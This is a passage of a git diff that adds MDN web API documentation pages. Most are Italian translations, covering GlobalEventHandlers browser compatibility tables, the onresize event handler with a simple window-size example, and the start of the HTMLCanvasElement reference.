+ <dd>An {{domxref("EventHandler")}} called when a {{event("transitionend")}} event is sent, indicating that a <a href="/en-US/docs/Web/CSS/CSS_Transitions">CSS transition</a> has finished playing.</dd>
+ <dt>{{domxref("GlobalEventHandlers.onwaiting")}}</dt>
+ <dd>Is an {{domxref("EventHandler")}} representing the code to be called when the {{event("waiting")}} event is raised.</dd>
+</dl>
+</div>
+
+<h2 id="Methods">Methods</h2>
+
+<p><em>This interface defines no methods.</em></p>
+
+<h2 id="Specifications">Specifications</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Specification</th>
+   <th scope="col">Status</th>
+   <th scope="col">Comment</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{SpecName("Selection API",'', 'Extension to GlobalEventHandlers')}}</td>
+   <td>{{Spec2('Selection API')}}</td>
+   <td>Adds <code>onselectionchange.</code></td>
+  </tr>
+  <tr>
+   <td>{{SpecName('Pointer Lock', '#extensions-to-the-document-interface', 'Extension of Document')}}</td>
+   <td>{{Spec2('Pointer Lock')}}</td>
+   <td>Adds <code>onpointerlockchange</code> and <code>onpointerlockerror</code> on {{domxref("Document")}}. It is experimentally implemented on <code>GlobalEventHandlers</code>.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('HTML WHATWG', '#globaleventhandlers', 'GlobalEventHandlers')}}</td>
+   <td>{{Spec2('HTML WHATWG')}}</td>
+   <td>No change since the latest snapshot, {{SpecName("HTML5.1")}}.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('HTML5.1', '#globaleventhandlers', 'GlobalEventHandlers')}}</td>
+   <td>{{Spec2('HTML5.1')}}</td>
+   <td>Snapshot of {{SpecName("HTML WHATWG")}}. Added <code>onsort</code> since the {{SpecName("HTML5 W3C")}} snapshot.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName("HTML5 W3C", "#globaleventhandlers", "GlobalEventHandlers")}}</td>
+   <td>{{Spec2('HTML5 W3C')}}</td>
+   <td>Snapshot of {{SpecName("HTML WHATWG")}}. Creation of <code>GlobalEventHandlers</code> (properties where on the target before it).</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Browser_compatibility">Browser compatibility</h2>
+
+<p>{{CompatibilityTable}}</p>
+
+<div id="compat-desktop">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Feature</th>
+   <th>Firefox (Gecko)</th>
+   <th>Chrome</th>
+   <th>Edge</th>
+   <th>Internet Explorer</th>
+   <th>Opera</th>
+   <th>Safari</th>
+  </tr>
+  <tr>
+   <td>Basic support</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+  </tr>
+  <tr>
+   <td><code>oncanplay</code>, <code>oncanplaythrough</code>, <code>ondurationchange</code>, <code>onemptied</code>, <code>onended</code>, <code>onloadeddata</code>, <code>onloadedmetadata</code>, <code>onloadstart</code>, <code>onpause</code>, <code>onplay</code>, <code>onplaying</code>, <code>onprogress</code>, <code>onratechange</code>, <code>onseeked</code>, <code>onseeking</code>, <code>onstalled</code>, <code>ontimeupdate</code>, <code>onvolumechange</code>, <code>onwaiting</code></td>
+   <td>{{CompatGeckoDesktop(1.9.1)}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+  </tr>
+  <tr>
+   <td><code>onsuspend</code></td>
+   <td>{{CompatGeckoDesktop(1.9.2)}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+  </tr>
+  <tr>
+   <td><code>ondrag</code>, <code>ondragend</code>, <code>ondragenter</code>, <code>ondragleave</code>, <code>ondragover</code>, <code>ondragstart</code>, <code>ondrop</code></td>
+   <td>{{CompatGeckoDesktop(1.9.1)}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+  </tr>
+  <tr>
+   <td><code>onmouseenter</code>, <code>onmouseleave</code></td>
+   <td>{{CompatGeckoDesktop(10)}}</td>
+   <td>{{CompatChrome(30.0)}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>5.5</td>
+   <td>17</td>
+   <td>{{CompatUnknown}}</td>
+  </tr>
+  <tr>
+   <td><code>ondragexit</code></td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+  </tr>
+  <tr>
+   <td><code>oncancel</code></td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+  </tr>
+  <tr>
+   <td><code>onclose</code></td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+  </tr>
+  <tr>
+   <td><code>oncuechange</code></td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+  </tr>
+  <tr>
+   <td><code>onmousewheel</code></td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+  </tr>
+  <tr>
+   <td><code>onsort</code> {{experimental_inline}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+  </tr>
+  <tr>
+   <td><code>onmozfullscreenchange</code>, <code>onmozfullscreenerror</code> {{non-standard_inline}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}} {{property_prefix("-webkit")}}<br>
+    {{CompatVersionUnknown}} (unprefixed)</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatNo}}</td>
+  </tr>
+  <tr>
+   <td><code>onpointerlockchange</code>, <code>onpointerlockerror</code></td>
+   <td>{{CompatGeckoDesktop(10)}}<sup>[1]</sup></td>
+   <td>{{CompatVersionUnknown}}<sup>[2] </sup>{{property_prefix("-webkit")}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+  </tr>
+  <tr>
+   <td><code>onpointercancel</code>, <code>onpointerdown</code>, <code>onpointerup</code>, <code>onpointermove</code>, <code>onpointerout</code>, <code>onpointerover</code>, <code>onpointerenter</code>, <code>onpointerleave</code></td>
+   <td>{{CompatVersionUnknown}}<sup>[3]</sup></td>
+   <td>{{CompatChrome(55.0)}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>10</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+  </tr>
+  <tr>
+   <td><code>onselectionchange</code></td>
+   <td>{{CompatGeckoDesktop(43)}}<sup>[4]</sup></td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+  </tr>
+  <tr>
+   <td><code>ontouchend</code>, <code>ontouchcancel</code>, <code>ontouchmove</code>, <code>ontouchstart</code></td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+  </tr>
+  <tr>
+   <td><code>animationstart</code>, <code>animationend</code>, <code>animationcancel</code>, <code>animationiteration</code></td>
+   <td>{{CompatGeckoDesktop(51)}}</td>
+   <td>{{CompatVersionUnknown}} {{property_prefix("-webkit")}}<br>
+    {{CompatVersionUnknown}} (unprefixed)</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+  </tr>
+  <tr>
+   <td><code>ongotpointercapture</code>, <code>onlostpointercapture</code></td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatChrome(57.0)}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatOpera(44)}}</td>
+   <td>{{CompatUnknown}}</td>
+  </tr>
+  <tr>
+   <td><code>onauxclick</code></td>
+   <td>{{CompatGeckoDesktop(53)}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatNo}}</td>
+  </tr>
+  <tr>
+   <td><code>onwheel</code></td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<div id="compat-mobile">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Feature</th>
+   <th>Android Webview</th>
+   <th>Edge</th>
+   <th>Firefox Mobile (Gecko)</th>
+   <th>Android</th>
+   <th>IE Mobile</th>
+   <th>Opera Mobile</th>
+   <th>Safari Mobile</th>
+   <th>Chrome for Android</th>
+  </tr>
+  <tr>
+   <td>Basic support</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+  </tr>
+  <tr>
+   <td><code>ondrag</code>, <code>ondragend</code>, <code>ondragenter</code>, <code>ondragleave</code>, <code>ondragover</code>, <code>ondragstart</code>, <code>ondrop</code></td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatGeckoMobile(1.9.1)}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+  </tr>
+  <tr>
+   <td><code>oncanplay</code>, <code>oncanplaythrough</code>, <code>ondurationchange</code>, <code>onemptied</code>, <code>onended</code>, <code>onloadeddata</code>, <code>onloadedmetadata</code>, <code>onloadstart</code>, <code>onpause</code>, <code>onplay</code>, <code>onplaying</code>, <code>onprogress</code>, <code>onratechange</code>, <code>onseeked</code>, <code>onseeking</code>, <code>onstalled</code>, <code>ontimeupdate</code>, <code>onvolumechange</code>, <code>onwaiting</code></td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatGeckoMobile(1.9.1)}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+  </tr>
+  <tr>
+   <td><code>onmouseenter</code>, <code>onmouseleave</code></td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatGeckoMobile(10)}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+  </tr>
+  <tr>
+   <td><code>onsuspend</code></td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatGeckoMobile(1.9.2)}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+  </tr>
+  <tr>
+   <td><code>ondragexit</code></td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatNo}}</td>
+  </tr>
+  <tr>
+   <td><code>oncancel</code></td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+  </tr>
+  <tr>
+   <td><code>onclose</code></td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+  </tr>
+  <tr>
+   <td><code>oncuechange</code></td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+  </tr>
+  <tr>
+   <td><code>onmousewheel</code></td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+  </tr>
+  <tr>
+   <td><code>onsort</code></td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatNo}}</td>
+  </tr>
+  <tr>
+   <td><code>onmozfullscreenchange</code>, <code>onmozfullscreenerror</code> {{non-standard_inline}}</td>
+   <td>{{CompatVersionUnknown}} {{property_prefix("-webkit")}}<br>
+    {{CompatVersionUnknown}} (unprefixed)</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatVersionUnknown}} {{property_prefix("-webkit")}}<br>
+    {{CompatVersionUnknown}} (unprefixed)</td>
+  </tr>
+  <tr>
+   <td><code>onpointerlockchange</code>, <code>onpointerlockerror</code></td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatGeckoMobile(10)}}<sup>[1]</sup></td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatNo}}</td>
+  </tr>
+  <tr>
+   <td><code>onpointercancel</code>, <code>onpointerdown</code>, <code>onpointerup</code>, <code>onpointermove</code>, <code>onpointerout</code>, <code>onpointerover</code>, <code>onpointerenter</code>, <code>onpointerleave</code></td>
+   <td>{{CompatChrome(55.0)}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatVersionUnknown}}<sup>[3]</sup></td>
+   <td>{{CompatNo}}</td>
+   <td>10</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatChrome(55.0)}}</td>
+  </tr>
+  <tr>
+   <td><code>onselectionchange</code></td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatGeckoMobile(43)}}<sup>[4]</sup></td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatNo}}</td>
+  </tr>
+  <tr>
+   <td><code>ontouchend</code>, <code>ontouchcancel</code>, <code>ontouchmove</code>, <code>ontouchstart</code></td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+  </tr>
+  <tr>
+   <td><code>animationstart</code>, <code>animationend</code>, <code>animationcancel</code>, <code>animationiteration</code></td>
+   <td>{{CompatVersionUnknown}} {{property_prefix("-webkit")}}<br>
+    {{CompatVersionUnknown}} (unprefixed)</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatGeckoMobile(51)}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatVersionUnknown}} {{property_prefix("-webkit")}}<br>
+    {{CompatVersionUnknown}} (unprefixed)</td>
+  </tr>
+  <tr>
+   <td><code>ongotpointercapture</code>, <code>onlostpointercapture</code></td>
+   <td>{{CompatChrome(57.0)}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatOperaMobile(44)}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatChrome(57.0)}}</td>
+  </tr>
+  <tr>
+   <td><code>onauxclick</code></td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatGeckoMobile(53)}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+  </tr>
+  <tr>
+   <td><code>onwheel</code></td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<p>[1] In Gecko this is implemented as <code>onmozpointerlockchange</code>, <code>onmozpointerlockerror</code>.</p>
+
+<p>[2] In Blink this is implemented as <code>onwebkitpointerlockchange</code>, <code>onwebkitpointerlockerror</code>.</p>
+
+<p>[3] This is implemented behind the <code>dom.w3c_pointer_events.enabled</code> preference, defaulting to <code>false</code>.</p>
+
+<p>[4] This is implemented behind the <code>dom.select_events.enabled</code> preference, that default to <code>false</code>, except on Nightly.</p>
+
+<h2 id="See_also">See also</h2>
+
+<ul>
+ <li>{{domxref("Element")}}</li>
+ <li>{{domxref("EventHandler")}}</li>
+ <li>{{domxref("Event")}}</li>
+</ul>
diff --git a/files/it/web/api/globaleventhandlers/onresize/index.html b/files/it/web/api/globaleventhandlers/onresize/index.html
new file mode 100644
index 0000000000..27e71c3438
--- /dev/null
+++ b/files/it/web/api/globaleventhandlers/onresize/index.html
@@ -0,0 +1,77 @@
+---
+title: GlobalEventHandlers.onresize
+slug: Web/API/GlobalEventHandlers/onresize
+tags:
+  - API
+  - DOM
+  - Proprietà
+translation_of: Web/API/GlobalEventHandlers/onresize
+---
+<p>{{ ApiRef() }}</p>
+
+<p>La proprietà <code><strong>GlobalEventHandlers.onresize</strong></code> contiene un {{domxref("EventHandler")}} il quale viene lanciato quando un evento {{event("resize")}} viene ricevuto.</p>
+
+<h2 id="Syntax" name="Syntax">Sintassi</h2>
+
+<pre class="eval">window.onresize = <em>funcRef</em>;
+</pre>
+
+<h3 id="Parameters" name="Parameters">Parameters</h3>
+
+<ul>
+ <li><code>funcRef</code> è un riferimento ad una funzione.</li>
+</ul>
+
+<h2 id="Example" name="Example">Esempio</h2>
+
+<pre>window.onresize = doFunc;
+</pre>
+
+<pre>&lt;html&gt;
+&lt;head&gt;
+
+&lt;title&gt;onresize test&lt;/title&gt;
+
+&lt;/head&gt;
+
+&lt;body&gt;
+&lt;p&gt;Ridimensiona la finestra del browser per lanciare l'evento resize.&lt;/p&gt;
+
+&lt;p&gt;Altezza finestra: &lt;span id="height"&gt;&lt;/span&gt;&lt;/p&gt;
+&lt;p&gt;Larghezza finestra: &lt;span id="width"&gt;&lt;/span&gt;&lt;/p&gt;
+
+&lt;script type="text/javascript"&gt;
+  var heightOutput = document.querySelector('#height');
+  var widthOutput = document.querySelector('#width');
+
+  function resize() {
+    heightOutput.textContent = window.innerHeight;
+    widthOutput.textContent = window.innerWidth;
+  }
+
+  window.onresize = resize;
+&lt;/script&gt;
+&lt;/body&gt;
+&lt;/html&gt;
+</pre>
+
+<h2 id="Notes" name="Notes">Note</h2>
+
+<p>L'evento resize viene scatenato dopo che la finestra è stata ridimensionata.</p>
+
+<h2 id="Specification" name="Specification">Specifiche</h2>
+
+<table class="spectable standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Specificazione</th>
+   <th scope="col">Stato</th>
+   <th scope="col">Commento</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('HTML WHATWG','webappapis.html#handler-onresize','onresize')}}</td>
+   <td>{{Spec2('HTML WHATWG')}}</td>
+   <td> </td>
+  </tr>
+ </tbody>
+</table>
diff --git a/files/it/web/api/htmlcanvaselement/index.html b/files/it/web/api/htmlcanvaselement/index.html
new file mode 100644
index 0000000000..763a2bc7bc
--- /dev/null
+++ b/files/it/web/api/htmlcanvaselement/index.html
@@ -0,0 +1,245 @@
+---
+title: HTMLCanvasElement
+slug: Web/API/HTMLCanvasElement
+tags:
+  - API
+  - Canvas
+  - HTML DOM
+  - Interfaccia
+  - Riferimenti
+translation_of: Web/API/HTMLCanvasElement
+---
+<div>
+<div>{{APIRef("Canvas API")}}</div>
+
+<div>L'interfaccia <strong>HTMLCanvasElement</strong> fornisce proprietà e metodi per manipolare il layout e la presentazione degli elementi del canvas. L'interfaccia HTMLCanvasElement eredita anche le proprietà ed i metodi della interfaccia {{domxref("HTMLElement")}}.</div>
+</div>
+
+<p> </p>
+
+<p>Proprietà</p>
+
+<p><em>Eredita propriet</em>à<em> dalla interfaccia genitore, {{domxref("HTMLElement")}}.</em></p>
+
+<dl>
+ <dt>{{domxref("HTMLCanvasElement.height")}}</dt>
+ <dd>Intero positivo che rispecchia l'attributo dell'elemento HTML {{htmlattrxref("height", "canvas")}} interpretato in unità pixel CSS. Quando l'attributo non è specificato, o se è impostato ad un valore non valido, come un numero negativo, è usato il valore di default 150.</dd>
+ <dt>{{domxref("HTMLCanvasElement.mozOpaque")}} {{non-standard_inline}}</dt>
+ <dd>Un {{jsxref("Boolean")}} che rispecchia l'attributo HTML {{htmlattrxref("moz-opaque", "canvas")}} dell'elemento {{HTMLElement("canvas")}}. Permette al canvas di sapere se la traslucenza sarà un fattore. Se il canvas sa che non ci sarà traslucenza, la prestazione del dipingere puo' essere ottimizzata.</dd>
+ <dt>{{domxref("HTMLCanvasElement.width")}}</dt>
+ <dd>Intero positivo che rispecchia l'attributo HTML {{htmlattrxref("width", "canvas")}} dell'elemento {{HTMLElement("canvas")}} interpretato in unità pixel CSS. Quando l'attributo non è specificato, o se è impostato ad un valore non valido, ad esempio negativo, è usato il valore di default 300.</dd>
+</dl>
+
+<h2 id="Metodi">Metodi</h2>
+
+<p><em>Eredita dal proprio genitore, </em><em>{{domxref("HTMLElement")}}.</em></p>
+
+<dl>
+ <dt>{{domxref("HTMLCanvasElement.captureStream()")}} {{experimental_inline}}</dt>
+ <dd>Restituisce un oggetto {{domxref("CanvasCaptureMediaStream")}} che è una capture video in tempo reale della superficie del canvas.</dd>
+ <dt>{{domxref("HTMLCanvasElement.getContext()")}}</dt>
+ <dd>Restituisce un contesto di disegno sul canvas, oppure <code>null</code> se l'identificativo del contesto non ha supporto. Un contesto di disegno permette di disegnare sul canvas. Chiamare getContext con "<code>2d</code>" come parametro restituisce un oggetto {{domxref("CanvasRenderingContext2D")}}, mentre chiamarlo con "<code>experimental-webgl</code>" (o "<code>webgl</code>") restituisce un oggetto {{domxref("WebGLRenderingContext")}}. Questo contesto è disponibile solo su browsers che implementano <a href="/en-US/docs/Web/WebGL">WebGL</a>.</dd>
+ <dt>{{domxref("HTMLCanvasElement.toDataURL()")}}</dt>
+ <dd>Restituisce un URL dati contentente una rappresentazione della immagine nel formato specificato dal parametro tipo (il valore di default è <code>png</code>). L'immagine restituita ha una risoluzione di 96dpi.</dd>
+ <dt>{{domxref("HTMLCanvasElement.toBlob()")}}</dt>
+ <dd>Crea un oggetto {{domxref("Blob")}} che rappresenta l'immagine contenuta nel canvas; questo file puo' essere immagazzinato temporaneamente su disco oppure nella memoria a discrezione dell'agente per l'utente (user agent).</dd>
+ <dt>{{domxref("HTMLCanvasElement.transferControlToOffscreen()")}} {{experimental_inline}}</dt>
+ <dd>Trasferisce il controllo ad un oggetto {{domxref("OffscreenCanvas")}}, o nella thread principale oppure in una worker.</dd>
+ <dt>{{domxref("HTMLCanvasElement.mozGetAsFile()")}} {{non-standard_inline}} {{deprecated_inline}}</dt>
+ <dd>Restituisce un oggetto {{domxref("File")}} che rappresenta l'immagine contenuta nel canvas; questo è un file immagazzinato nella memoria, col nome indicato. Se il tipo del file non è specificato, il tipo di default per l'immagine <code>è </code><code>image/png</code>.</dd>
+</dl>
+
+<h2 id="Specifiche">Specifiche</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Specifica</th>
+   <th scope="col">Status</th>
+   <th scope="col">Commento</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('Media Capture DOM Elements', '#html-media-element-media-capture-extensions', 'HTMLCanvasElement')}}</td>
+   <td>{{Spec2('Media Capture DOM Elements')}}</td>
+   <td>Aggiunge il metodo <code>captureStream()</code>.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('HTML WHATWG', "#the-canvas-element", "HTMLCanvasElement")}}</td>
+   <td>{{Spec2('HTML WHATWG')}}</td>
+   <td>Il metodo <code>getContext()</code> ora restituisce  {{domxref("RenderingContext")}} invece di un oggetto opaco.<br>
+    Sono stati aggiunti i metodi <code>probablySupportsContext()</code>, <code>setContext()</code> e<code>transferControlToProxy()</code>.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('HTML5.1', "scripting-1.html#the-canvas-element", "HTMLCanvasElement")}}</td>
+   <td>{{Spec2('HTML5.1')}}</td>
+   <td> </td>
+  </tr>
+  <tr>
+   <td>{{SpecName('HTML5 W3C', "scripting-1.html#the-canvas-element", "HTMLCanvasElement")}}</td>
+   <td>{{Spec2('HTML5 W3C')}}</td>
+   <td>Definizione iniziale.</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Compatibilità_coi_Browsers">Compatibilità coi Browsers</h2>
+
+<div>{{CompatibilityTable}}</div>
+
+<div id="compat-desktop">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Funzionalità</th>
+   <th>Chrome</th>
+   <th>Firefox (Gecko)</th>
+   <th>Internet Explorer</th>
+   <th>Opera</th>
+   <th>Safari</th>
+  </tr>
+  <tr>
+   <td>Basic support (<code>2D</code> context)</td>
+   <td>4.0</td>
+   <td>{{CompatGeckoDesktop('1.9.2')}}</td>
+   <td>9.0</td>
+   <td>9.0 [1]</td>
+   <td>3.1</td>
+  </tr>
+  <tr>
+   <td><code>toBlob()</code></td>
+   <td>50</td>
+   <td>{{CompatGeckoDesktop('19')}} [2]</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatNo}} (bug <a href="https://bugs.webkit.org/show_bug.cgi?id=71270">71270</a>)</td>
+  </tr>
+  <tr>
+   <td><code>probablySupportsContext()</code>,<br>
+    <code>setContext()</code>,<br>
+    <code>transferControlToProxy()</code> {{experimental_inline}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatNo}}</td>
+  </tr>
+  <tr>
+   <td><code>mozGetAsFile()</code> {{non-standard_inline}} {{deprecated_inline}}</td>
